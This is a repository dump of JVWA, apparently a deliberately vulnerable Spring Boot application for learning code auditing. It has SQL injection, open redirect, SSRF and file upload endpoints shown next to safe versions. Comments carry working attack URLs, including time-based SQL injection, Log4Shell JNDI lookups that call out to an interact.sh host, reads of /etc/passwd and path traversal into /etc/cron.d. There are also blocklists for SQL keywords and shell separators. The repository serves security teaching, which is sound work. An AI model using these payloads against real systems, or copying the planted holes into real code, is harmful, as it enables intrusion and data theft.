94 | color: var(--color-text-display); 95 | } 96 | 97 | .description img { 98 | width: 100%; 99 | } 100 | 101 | .variation { 102 | margin-top: 0; 103 | font-size: 1.8rem; 104 | font-weight: bold; 105 | font-style: italic; 106 | background-color: #118ddf; 107 | color: #fff; 108 | border-radius: var(--border-radius); 109 | padding: 0.5rem 1rem; 110 | /* font-family: 'Fredoka One', sans-serif; */ 111 | } 112 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/SQLinj.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import com.ffffffff0x.exploit.p.entity.UserPrimary; 4 | import com.ffffffff0x.exploit.p.mapper.UserMapperPrimary; 5 | import com.ffffffff0x.exploit.s.mapper.UserMapperSecondary; 6 | import io.swagger.annotations.Api; 7 | import lombok.extern.slf4j.Slf4j; 8 | import org.springframework.beans.factory.annotation.Autowired; 9 | import org.springframework.web.bind.annotation.*; 10 | 11 | import java.util.List; 12 | 13 | @Api(tags = "SQL注入") 14 | @RestController 15 | @Slf4j 16 | @RequestMapping("/sqlinj") 17 | public class SQLinj { 18 | 19 | @Autowired 20 | private UserMapperPrimary userMapperPrimary; 21 | 22 | // 查询所有用户 23 | @GetMapping("/mysql/alluser") 24 | public List AllUser() { 25 | return userMapperPrimary.AllUser(); 26 | } 27 | 28 | // 查询指定用户 29 | // http://127.0.0.1:8999/sqlinj/mysql/getbyid/1 or 1=1 30 | // http://127.0.0.1:8999/sqlinj/mysql/getbyid/1 and (select if(mid(user(),1,4)='root',sleep(1),123)) 31 | @GetMapping("/mysql/getbyid/{id}") 32 | public List getById(@PathVariable String id) { 33 | log.info("输入的查询payload: "+id); 34 | return userMapperPrimary.findById(id); 35 | } 36 | 37 | // http://127.0.0.1:8999/sqlinj/mysql/getbyidp/id?id=1 or 1=1 38 | // http://127.0.0.1:8999/sqlinj/mysql/getbyidp/id?id=1%20and%20(select%20/**/if(%27360%27=%27360%27,/**/sleep(5),123)) 39 | @GetMapping("/mysql/getbyidp/id") 40 | public List getById2(String id) { 41 | log.info("输入的查询payload: "+id); 42 | return userMapperPrimary.findById(id); 43 | } 44 | 45 | // 创建用户 46 | @PostMapping("/mysql/create") 47 | public int create(@RequestBody UserPrimary userPrimary) { 48 | return userMapperPrimary.insert(userPrimary.getName(), userPrimary.getAge()); 49 | } 50 | 51 | @Autowired 52 | private UserMapperSecondary userMapperSecondary; 53 | 54 | // 查询所有用户 55 | // http://127.0.0.1:8999/sqlinj/postgre/getbyid/1 or 1=1 56 | @GetMapping("/postgre/alluser") 57 | public List PostgreAllUser() { 58 | return userMapperSecondary.AllUser(); 59 | } 60 | 61 | // 查询指定用户 62 | @GetMapping("/postgre/getbyid/{id}") 63 | public List PostgregetById(@PathVariable String id) { 64 | log.info("输入的查询payload: "+id); 65 | return userMapperSecondary.findById(id); 66 | } 67 | 68 | // 创建用户 69 | @PostMapping("/postgre/create") 70 | public int Postgrecreate(@RequestBody UserPrimary userPrimary) { 71 | return userMapperSecondary.insert(userPrimary.getName(), userPrimary.getAge()); 72 | } 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/Redirect.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import io.swagger.annotations.Api; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.stereotype.Controller; 6 | import org.springframework.web.bind.annotation.GetMapping; 7 | import org.springframework.web.bind.annotation.RequestMapping; 8 | 9 | import java.net.MalformedURLException; 10 | import java.net.URL; 11 | 12 | @Api(tags = "url跳转") 13 | @Slf4j 14 | @Controller 15 | @RequestMapping("/redirect") 16 | public class Redirect { 17 | 18 | // 无过滤 19 | // http://127.0.0.1:8999/redirect/1?url=https://baidu.com 20 | // http://127.0.0.1:8999/redirect/1?url=${jndi:ldap://c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh/exp} 21 | // http://127.0.0.1:8999/redirect/1?url=${jndi:ldap://${sys:os.name}.c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh/exp} 22 | @GetMapping("/1") 23 | public String vul(String url) { 24 | log.info(url); 25 | return"redirect:" + url; 26 | } 27 | 28 | // 可以被绕过的白名单案例 29 | // http://127.0.0.1:8999/redirect/2?url=http://baidu.com/ffffffff0x.com 30 | @GetMapping("/2") 31 | public String vul2(String url) { 32 | String domain = "ffffffff0x.com"; 33 | int result = url.indexOf(domain); 34 | if(result != -1){ 35 | log.info(url); 36 | return"redirect:" + url; 37 | }else{ 38 | log.error(url); 39 | return"redirect:/error"; 40 | } 41 | } 42 | 43 | // 反斜杠绕过 44 | // http://127.0.0.1:8999/redirect/3?url=http://www.baidu.com%5Cwww.ffffffff0x.com 45 | @GetMapping("/3") 46 | public String vul3(String url) { 47 | 48 | String host = ""; 49 | try { 50 | host = new URL(url).getHost(); 51 | } catch (MalformedURLException e) { 52 | e.printStackTrace(); 53 | } 54 | if (host.endsWith(".ffffffff0x.com")){ 55 | log.info(host); 56 | return"redirect:https://" + host; 57 | }else{ 58 | log.error(host); 59 | return"redirect:/error"; 60 | } 61 | } 62 | 63 | // 安全案例 64 | // http://127.0.0.1:8999/redirect/safe?url=https://home.ffffffff0x.com 65 | @GetMapping("/safe") 66 | public String safe(String url) { 67 | 68 | String host = ""; 69 | try { 70 | url = url.replaceAll("[\\\\#]","/"); 71 | host = new URL(url).getHost(); 72 | } catch (MalformedURLException e) { 73 | e.printStackTrace(); 74 | } 75 | if (host.endsWith(".ffffffff0x.com")){ 76 | log.info(host); 77 | return"redirect:https://" + host; 78 | }else{ 79 | log.error(host); 80 | return"redirect:/error"; 81 | } 82 | } 83 | 84 | } 85 | -------------------------------------------------------------------------------- /src/main/resources/application-dev.properties: -------------------------------------------------------------------------------- 1 | server.port=28999 2 | server.address=0.0.0.0 3 | 4 | # swagger-ui xss 5 | # http://127.0.0.1:8999/swagger-ui.html?configUrl=https://jumpy-floor.surge.sh/test.json 6 | swagger.title=JVWA 7 | swagger.description=JVWA 8 | swagger.version=1.9.0.RELEASE 9 | swagger.license=Apache License, Version 2.0 10 | swagger.licenseUrl=https://www.apache.org/licenses/LICENSE-2.0.html 11 | swagger.termsOfServiceUrl=https://github.com/dyc87112/spring-boot-starter-swagger 12 | swagger.contact.name=test 13 | swagger.contact.url=https://home.ffffffff0x.com 14 | swagger.contact.email=r0fus0d@ffffffff0x.com 15 | swagger.base-package=com.ffffffff0x 16 | swagger.base-path=/** 17 | spring.application.name=ffffffff0x-exploit-dev 18 | 19 | logging.level.org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping=trace 20 | 21 | spring.datasource.druid.primary.jdbc-url=jdbc:mysql://10.211.55.3:3306/test 22 | spring.datasource.druid.primary.username=root 23 | spring.datasource.druid.primary.password=ffffffff0x 24 | spring.datasource.druid.primary.driver-class-name=com.mysql.cj.jdbc.Driver 25 | 26 | spring.datasource.druid.secondary.jdbc-url=jdbc:postgresql://10.211.55.3:5432/test 27 | spring.datasource.druid.secondary.username=postgres 28 | spring.datasource.druid.secondary.password=ffffffff0x 29 | spring.datasource.druid.secondary.driver-class-name=org.postgresql.Driver 30 | 31 | #spring.redis.host=localhost 32 | #spring.redis.port=6379 33 | #spring.redis.lettuce.pool.max-idle=8 34 | #spring.redis.lettuce.pool.max-active=8 35 | #spring.redis.lettuce.pool.max-wait=-1ms 36 | #spring.redis.lettuce.pool.min-idle=0 37 | #spring.redis.lettuce.shutdown-timeout=100ms 38 | 39 | spring.datasource.druid.initialSize=10 40 | spring.datasource.druid.maxActive=20 41 | spring.datasource.druid.maxWait=60000 42 | spring.datasource.druid.minIdle=1 43 | spring.datasource.druid.timeBetweenEvictionRunsMillis=60000 44 | spring.datasource.druid.minEvictableIdleTimeMillis=300000 45 | spring.datasource.druid.testWhileIdle=true 46 | spring.datasource.druid.testOnBorrow=true 47 | spring.datasource.druid.testOnReturn=false 48 | spring.datasource.druid.poolPreparedStatements=true 49 | spring.datasource.druid.maxOpenPreparedStatements=20 50 | spring.datasource.druid.validationQuery=SELECT 1 51 | spring.datasource.druid.validation-query-timeout=500 52 | #spring.datasource.druid.filters=stat,wall 53 | 54 | spring.datasource.druid.stat-view-servlet.enabled=true 55 | spring.datasource.druid.stat-view-servlet.url-pattern=/druid/* 56 | spring.datasource.druid.stat-view-servlet.reset-enable=true 57 | spring.datasource.druid.stat-view-servlet.login-username=admin 58 | spring.datasource.druid.stat-view-servlet.login-password=admin 59 | spring.datasource.druid.stat-view-servlet.allow= 60 | 61 | management.endpoints.web.exposure.include=* 62 | management.endpoints.jmx.exposure.include=* 63 | management.metrics.tags.application=${spring.application.name} 64 | 65 | logging.config=classpath:log4j2.xml 66 | 67 | spring.servlet.multipart.max-file-size=2MB 68 | spring.servlet.multipart.max-request-size=2MB 69 | 70 | file.upload.path=/tmp/ -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/SSRF.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import com.ffffffff0x.exploit.util.Http; 4 | import com.ffffffff0x.exploit.util.Security; 5 | import io.swagger.annotations.Api; 6 | import lombok.extern.slf4j.Slf4j; 7 | import org.springframework.web.bind.annotation.GetMapping; 8 | import org.springframework.web.bind.annotation.RequestMapping; 9 | import org.springframework.web.bind.annotation.RestController; 10 | 11 | import java.net.InetAddress; 12 | import java.net.MalformedURLException; 13 | import java.net.URL; 14 | 15 | @Api(tags = "SSRF") 16 | @Slf4j 17 | @RestController 18 | @RequestMapping("/ssrf") 19 | public class SSRF { 20 | 21 | // 无过滤 22 | // http://127.0.0.1:8999/ssrf/1?url=https://home.ffffffff0x.com 23 | // http://127.0.0.1:8999/ssrf/1?url=file:///etc/passwd 24 | 25 | // jar 协议 26 | // http://127.0.0.1:8999/ssrf/1?url=jar:http://www.ffffffff0x.com!/ 27 | // http://127.0.0.1:8999/ssrf/1?url=jar:http://www.ffffffff0x1231edadada.com!/ 28 | @GetMapping("/1") 29 | public String vul1(String url) { 30 | log.info("访问路径：" + url); 31 | return Http.URLConnection(url); 32 | } 33 | 34 | // 重定向绕过 35 | // 使用 url短链接进行绕过 36 | // 例如 https://a.f8x.io/ 37 | // file:///etc/passwd https://a.f8x.io/AKJ28Q 38 | // http://127.0.0.1:8999/ssrf/2?url=https://a.f8x.io/AKJ28Q 39 | @GetMapping("/2") 40 | public String vul2(String url) { 41 | log.info("访问路径：" + url); 42 | 43 | try{ 44 | URL url2 = new URL(url); 45 | String host = url2.getHost(); 46 | InetAddress ip = InetAddress.getByName(host); 47 | //log.info("ip：" + ip); 48 | String ip2 =ip.toString(); 49 | String ip3 = ip2.substring(ip2.lastIndexOf("/") + 1 ); 50 | log.info("ip解析结果：" + ip3); 51 | 52 | if (!Security.isHttp(url)){ 53 | return "不允许非http/https协议!!!"; 54 | }else if (Security.isIntranet(url)) { 55 | return "不允许访问内网!!!"; 56 | }else if (Security.isIntranet(ip3)) { 57 | return "不允许访问内网!!!"; 58 | }else{ 59 | log.info("访问：" + url); 60 | return Http.URLConnection2(url); 61 | } 62 | 63 | } 64 | catch (java.net.UnknownHostException e) { 65 | return "error"; 66 | } catch (MalformedURLException e) { 67 | return "error"; 68 | } 69 | } 70 | 71 | // 安全案例 72 | @GetMapping("/safe") 73 | public String safe(String url) { 74 | log.info("访问路径：" + url); 75 | if (!Security.isHttp(url)){ 76 | return "不允许非http/https协议!!!"; 77 | }else if (Security.isIntranet(url)) { 78 | return "不允许访问内网!!!"; 79 | }else{ 80 | return Http.HTTPURLConnection(url); 81 | } 82 | } 83 | 84 | } 85 | 86 | // 参考: 87 | // https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java 88 | // https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/SSRF.java -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/util/Security.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit.util; 2 | 3 | import org.springframework.util.StringUtils; 4 | 5 | import java.net.URI; 6 | import java.net.URISyntaxException; 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | import java.util.regex.Matcher; 10 | import java.util.regex.Pattern; 11 | 12 | public class Security { 13 | 14 | /** 15 | * 判断是否为内网地址 16 | * 17 | * @return True or False 18 | */ 19 | public static boolean isIntranet(String url) { 20 | Pattern reg = Pattern.compile("^(127\\.0\\.0\\.1)|(localhost)|(10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})|(172\\.((1[6-9])|(2\\d)|(3[01]))\\.\\d{1,3}\\.\\d{1,3})|(192\\.168\\.\\d{1,3}\\.\\d{1,3})$"); 21 | Matcher match = reg.matcher(url); 22 | Boolean a = match.find(); 23 | return a; 24 | } 25 | 26 | /** 27 | * 判断是否是http类型 28 | * 29 | * @return True or False 30 | */ 31 | public static boolean isHttp(String url) { 32 | return url.startsWith("http://") || url.startsWith("https://"); 33 | } 34 | 35 | /** 36 | * 判断url是否在白名单内 37 | */ 38 | public static boolean isWhite(String url) { 39 | List url_list = new ArrayList(); 40 | url_list.add("baidu.com"); 41 | url_list.add("www.baidu.com"); 42 | url_list.add("oa.baidu.com"); 43 | 44 | // 从url转换host 45 | URI uri = null; 46 | try { 47 | uri = new URI(url); 48 | } catch (URISyntaxException e) { 49 | System.out.print(e); 50 | } 51 | String host = uri.getHost().toLowerCase(); 52 | System.out.println(host); 53 | 54 | return url_list.contains(host); 55 | 56 | } 57 | 58 | public static String filterXss(String content) { 59 | content = StringUtils.replace(content, "&", "&"); 60 | content = StringUtils.replace(content, "<", "<"); 61 | content = StringUtils.replace(content, ">", ">"); 62 | content = StringUtils.replace(content, "\"", """); 63 | content = StringUtils.replace(content, "'", "'"); 64 | content = StringUtils.replace(content, "/", "/"); 65 | return content; 66 | } 67 | 68 | 69 | public static boolean checkSql(String content) { 70 | String black = "'|;|--|+|,|%|=|>|<|*|(|)|and|or|exec|insert|select|delete|update|count|drop|chr|mid|master|truncate|char|declare"; 71 | String[] black_list = black.split("|"); 72 | for (int i = 0; i < black_list.length; i++) { 73 | if (content.contains(black_list[i])) { 74 | return true; 75 | } 76 | } 77 | return false; 78 | } 79 | 80 | public static boolean checkTraversal(String content) { 81 | return content.contains("..") || content.contains("/"); 82 | } 83 | 84 | public static boolean checkOs(String content) { 85 | String black = "|,&,&&,;,||"; 86 | String[] black_list = black.split(","); 87 | for (String s : black_list) { 88 | if (content.contains(s)) { 89 | return true; 90 | } 91 | } 92 | return false; 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/util/Http.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit.util; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | 5 | import java.io.BufferedReader; 6 | import java.io.InputStreamReader; 7 | import java.net.HttpURLConnection; 8 | import java.net.URL; 9 | import java.net.URLConnection; 10 | @Slf4j 11 | public class Http { 12 | 13 | // HTTPURLConnection类 14 | // 是继承了URLConnection 15 | public static String HTTPURLConnection(String url) { 16 | try { 17 | URL u = new URL(url); 18 | HttpURLConnection conn = (HttpURLConnection) u.openConnection(); 19 | conn.setInstanceFollowRedirects(false); // 不允许重定向 20 | conn.connect(); 21 | 22 | BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); 23 | 24 | String content; 25 | StringBuilder html = new StringBuilder(); 26 | 27 | while ((content = reader.readLine()) != null) { 28 | html.append(content); 29 | } 30 | reader.close(); 31 | return html.toString(); 32 | 33 | } catch (Exception e) { 34 | return e.getMessage(); 35 | } 36 | } 37 | 38 | // URLConnection类 39 | public static String URLConnection(String url) { 40 | try { 41 | URL u = new URL(url); 42 | URLConnection conn = u.openConnection(); 43 | // 通过getInputStream() 读取 URL 所引用的资源数据 44 | 45 | BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); 46 | String content; 47 | StringBuffer html = new StringBuffer(); 48 | 49 | while ((content = reader.readLine()) != null) { 50 | html.append(content); 51 | } 52 | reader.close(); 53 | return html.toString(); 54 | 55 | } catch (Exception e) { 56 | return e.getMessage(); 57 | } 58 | } 59 | 60 | // URLConnection类 61 | public static String URLConnection2(String url) { 62 | try { 63 | URL u = new URL(url); 64 | URLConnection conn = u.openConnection(); 65 | // 通过getInputStream() 读取 URL 所引用的资源数据 66 | 67 | HttpURLConnection connection = (HttpURLConnection) conn; 68 | 69 | // 判断跳转 70 | boolean redirect = false; 71 | int status = connection.getResponseCode(); 72 | if (status != HttpURLConnection.HTTP_OK) { 73 | if (status == HttpURLConnection.HTTP_MOVED_TEMP 74 | || status == HttpURLConnection.HTTP_MOVED_PERM 75 | || status == HttpURLConnection.HTTP_SEE_OTHER) 76 | redirect = true; 77 | } 78 | log.info("Response Code：" + status); 79 | if (redirect) { 80 | String newUrl = connection.getHeaderField("Location"); 81 | log.info("Redirect to URL : " + newUrl); 82 | URL u1 = new URL(newUrl); 83 | conn = u1.openConnection(); 84 | } 85 | 86 | BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); 87 | String content; 88 | StringBuffer html = new StringBuffer(); 89 | 90 | while ((content = reader.readLine()) != null) { 91 | html.append(content); 92 | } 93 | reader.close(); 94 | return html.toString(); 95 | 96 | } catch (Exception e) { 97 | return e.getMessage(); 98 | } 99 | } 100 | 101 | } 102 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework.boot 7 | spring-boot-starter-parent 8 | 2.1.3.RELEASE 9 | 10 | 11 | com.ffffffff0x 12 | exploit 13 | 0.0.1-SNAPSHOT 14 | exploit 15 | exploit 16 | 17 | 11 18 | 19 | 20 | 21 | org.springframework.boot 22 | spring-boot-starter-web 23 | 24 | 25 | org.springframework.boot 26 | spring-boot-starter-logging 27 | 28 | 29 | 30 | 31 | 32 | org.springframework.boot 33 | spring-boot-starter-log4j2 34 | 35 | 36 | 37 | org.springframework.boot 38 | spring-boot-starter-test 39 | test 40 | 41 | 42 | 43 | org.projectlombok 44 | lombok 45 | 46 | 47 | 48 | com.spring4all 49 | swagger-spring-boot-starter 50 | 1.9.0.RELEASE 51 | 52 | 53 | 54 | com.alibaba 55 | druid-spring-boot-starter 56 | 1.1.21 57 | 58 | 59 | org.springframework.boot 60 | spring-boot-starter-actuator 61 | 62 | 63 | 64 | mysql 65 | mysql-connector-java 66 | 67 | 68 | 69 | org.springframework.boot 70 | spring-boot-starter-jdbc 71 | 72 | 73 | 74 | org.mybatis.spring.boot 75 | mybatis-spring-boot-starter 76 | 2.1.1 77 | 78 | 79 | 80 | org.postgresql 81 | postgresql 82 | runtime 83 | 84 | 85 | 86 | org.springframework.boot 87 | spring-boot-starter-thymeleaf 88 | 89 | 90 | 91 | io.micrometer 92 | micrometer-core 93 | 94 | 95 | 96 | io.micrometer 97 | micrometer-registry-prometheus 98 | 99 | 100 | 101 | 102 | 103 | 104 | org.springframework.boot 105 | spring-boot-maven-plugin 106 | 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /src/main/resources/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | FFFFFFFF0X 9 | 10 | 11 | 12 | 13 | 14 |

JVWA 代码审计学习环境

15 |
16 | 17 |
18 | 19 |
20 |

简简单单,没有套路

21 |
22 | 23 |
24 |
25 | 26 |
27 | 28 |

信息泄漏

29 |
30 | 44 |
45 | 46 |

spel注入

47 |
48 | 52 |
53 | 54 |

mysql注入

55 |
56 | 60 |
61 | 62 |

postgresql注入

63 |
64 | 68 |
69 | 70 |

url跳转

71 |
72 | 83 |
84 | 85 |

SSRF

86 |
87 | 96 |
97 | 98 |

SSTI(Thymeleaf)

99 |
100 | 106 |
107 | 108 |

文件上传

109 |
110 |
    111 |
  • 无过滤/黑名单过滤/白名单过滤/安全案例
    • 112 |
  • /upload
    • 113 |
114 |
115 | 116 |

来源ip

117 |
118 | 126 |
127 | 128 |

信息泄露

129 |
130 | 134 |
135 | 136 |

提示: 参考配套教程

-------------------------------------------------------------------------------- /src/main/java/com/ffffffff0x/exploit/Upload.java: -------------------------------------------------------------------------------- 1 | package com.ffffffff0x.exploit; 2 | 3 | import io.swagger.annotations.Api; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.beans.factory.annotation.Value; 6 | import org.springframework.stereotype.Controller; 7 | import org.springframework.web.bind.annotation.GetMapping; 8 | import org.springframework.web.bind.annotation.PostMapping; 9 | import org.springframework.web.bind.annotation.RequestPart; 10 | import org.springframework.web.bind.annotation.ResponseBody; 11 | import org.springframework.web.multipart.MultipartFile; 12 | 13 | import java.io.File; 14 | import java.io.IOException; 15 | import java.nio.file.FileAlreadyExistsException; 16 | import java.nio.file.Files; 17 | import java.util.List; 18 | import java.util.Random; 19 | 20 | @Api(tags = "文件上传") 21 | @Controller 22 | @Slf4j 23 | public class Upload { 24 | 25 | @Value("${file.upload.path}") 26 | private String path; 27 | 28 | @GetMapping("/upload") 29 | public String uploadPage() { 30 | return "upload"; 31 | } 32 | 33 | // 无过滤 34 | @PostMapping("/upload") 35 | @ResponseBody 36 | public String vul1(@RequestPart MultipartFile file) throws IOException { 37 | String fileName = file.getOriginalFilename(); 38 | String filePath = path + fileName; 39 | 40 | try { 41 | File dest = new File(filePath); 42 | Files.copy(file.getInputStream(), dest.toPath()); 43 | return "文件上传成功 : " + dest.getAbsolutePath(); 44 | 45 | } catch (FileAlreadyExistsException e) { 46 | return "文件已存在!"; 47 | } 48 | } 49 | 50 | // 黑名单过滤 51 | @PostMapping("/upload2") 52 | @ResponseBody 53 | public String vul2(@RequestPart MultipartFile file) throws IOException { 54 | 55 | List suffixlist = List.of(".jsp", ".jspx"); 56 | 57 | String fileName = file.getOriginalFilename(); 58 | String filePath = path + fileName; 59 | 60 | if (!file.isEmpty()) { 61 | String suffix = fileName.substring(fileName.lastIndexOf(".")); 62 | String suffixLower = suffix.toLowerCase(); 63 | 64 | log.info("后缀名: "+suffixLower); 65 | if (suffixlist.contains(suffixLower)) { 66 | return "非法请求，请上传文档文件"; 67 | } else { 68 | try { 69 | File dest = new File(filePath); 70 | Files.copy(file.getInputStream(), dest.toPath()); 71 | return "文件上传成功 : " + dest.getAbsolutePath(); 72 | 73 | } catch (FileAlreadyExistsException e) { 74 | return "文件已存在!"; 75 | } 76 | } 77 | } 78 | 79 | return ""; 80 | } 81 | 82 | // 白名单过滤 83 | // 可以路径穿越,因为 /etc/cron.d/ 目录下的文件可以任意后缀命名，那么此时可以上传文件名为 “…/…/…/…/…/…/etc/cron.d/test.xls” 绕过对应的安全检查： 84 | @PostMapping("/upload3") 85 | @ResponseBody 86 | public String vul3(@RequestPart MultipartFile file) throws IOException { 87 | String fileName = file.getOriginalFilename(); 88 | String filePath = path + fileName; 89 | 90 | if (!file.isEmpty()) { 91 | String suffix = fileName.substring(fileName.lastIndexOf(".")); 92 | log.info("后缀名: "+suffix); 93 | if (!".xlsx".equals(suffix) && !".xls".equals(suffix)) { 94 | return "非法请求，请上传excel文件"; 95 | } else { 96 | try { 97 | File dest = new File(filePath); 98 | Files.copy(file.getInputStream(), dest.toPath()); 99 | return "文件上传成功 : " + dest.getAbsolutePath(); 100 | 101 | } catch (FileAlreadyExistsException e) { 102 | return "文件已存在!"; 103 | } 104 | } 105 | } 106 | 107 | return ""; 108 | } 109 | 110 | // 白名单过滤+随机文件名 111 | @PostMapping("upload/safe") 112 | @ResponseBody 113 | public String safe(@RequestPart MultipartFile file) throws IOException { 114 | String fileName = file.getOriginalFilename(); 115 | 116 | if(!file.isEmpty()){ 117 | String suffix = fileName.substring(fileName.lastIndexOf(".")); 118 | log.info("后缀名: "+suffix); 119 | if(!".xlsx".equals(suffix)&&!".xls".equals(suffix)){ 120 | return "非法请求，请上传excel文件"; 121 | } 122 | else { 123 | try { 124 | Random r = new Random(); 125 | int randomfilename = r.nextInt(100000000); 126 | String filePath = path + randomfilename + suffix; 127 | log.info("生成文件名: "+filePath); 128 | File dest = new File(filePath); 129 | Files.copy(file.getInputStream(), dest.toPath()); 130 | return "文件上传成功 : " + dest.getAbsolutePath(); 131 | 132 | } catch (FileAlreadyExistsException e) { 133 | return "文件已存在!"; 134 | } 135 | } 136 | } 137 | 138 | return ""; 139 | } 140 | 141 | } 142 | -------------------------------------------------------------------------------- /mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM https://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM set title of command window 39 | title %0 40 | @REM enable echoing by setting MAVEN_BATCH_ECHO to 'on' 41 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 42 | 43 | @REM set %HOME% to equivalent of $HOME 44 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 45 | 46 | @REM Execute a userPrimary defined script before this one 47 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 48 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 49 | if exist "%USERPROFILE%\mavenrc_pre.bat" call "%USERPROFILE%\mavenrc_pre.bat" %* 50 | if exist "%USERPROFILE%\mavenrc_pre.cmd" call "%USERPROFILE%\mavenrc_pre.cmd" %* 51 | :skipRcPre 52 | 53 | @setlocal 54 | 55 | set ERROR_CODE=0 56 | 57 | @REM To isolate internal variables from possible post scripts, we use another setlocal 58 | @setlocal 59 | 60 | @REM ==== START VALIDATION ==== 61 | if not "%JAVA_HOME%" == "" goto OkJHome 62 | 63 | echo. 64 | echo Error: JAVA_HOME not found in your environment. >&2 65 | echo Please set the JAVA_HOME variable in your environment to match the >&2 66 | echo location of your Java installation. >&2 67 | echo. 68 | goto error 69 | 70 | :OkJHome 71 | if exist "%JAVA_HOME%\bin\java.exe" goto init 72 | 73 | echo. 74 | echo Error: JAVA_HOME is set to an invalid directory. >&2 75 | echo JAVA_HOME = "%JAVA_HOME%" >&2 76 | echo Please set the JAVA_HOME variable in your environment to match the >&2 77 | echo location of your Java installation. >&2 78 | echo. 79 | goto error 80 | 81 | @REM ==== END VALIDATION ==== 82 | 83 | :init 84 | 85 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 86 | @REM Fallback to current working directory if not found. 87 | 88 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 89 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 90 | 91 | set EXEC_DIR=%CD% 92 | set WDIR=%EXEC_DIR% 93 | :findBaseDir 94 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 95 | cd .. 96 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 97 | set WDIR=%CD% 98 | goto findBaseDir 99 | 100 | :baseDirFound 101 | set MAVEN_PROJECTBASEDIR=%WDIR% 102 | cd "%EXEC_DIR%" 103 | goto endDetectBaseDir 104 | 105 | :baseDirNotFound 106 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 107 | cd "%EXEC_DIR%" 108 | 109 | :endDetectBaseDir 110 | 111 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 112 | 113 | @setlocal EnableExtensions EnableDelayedExpansion 114 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 115 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 116 | 117 | :endReadAdditionalConfig 118 | 119 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 120 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 121 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 122 | 123 | set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar" 124 | 125 | FOR /F "usebackq tokens=1,2 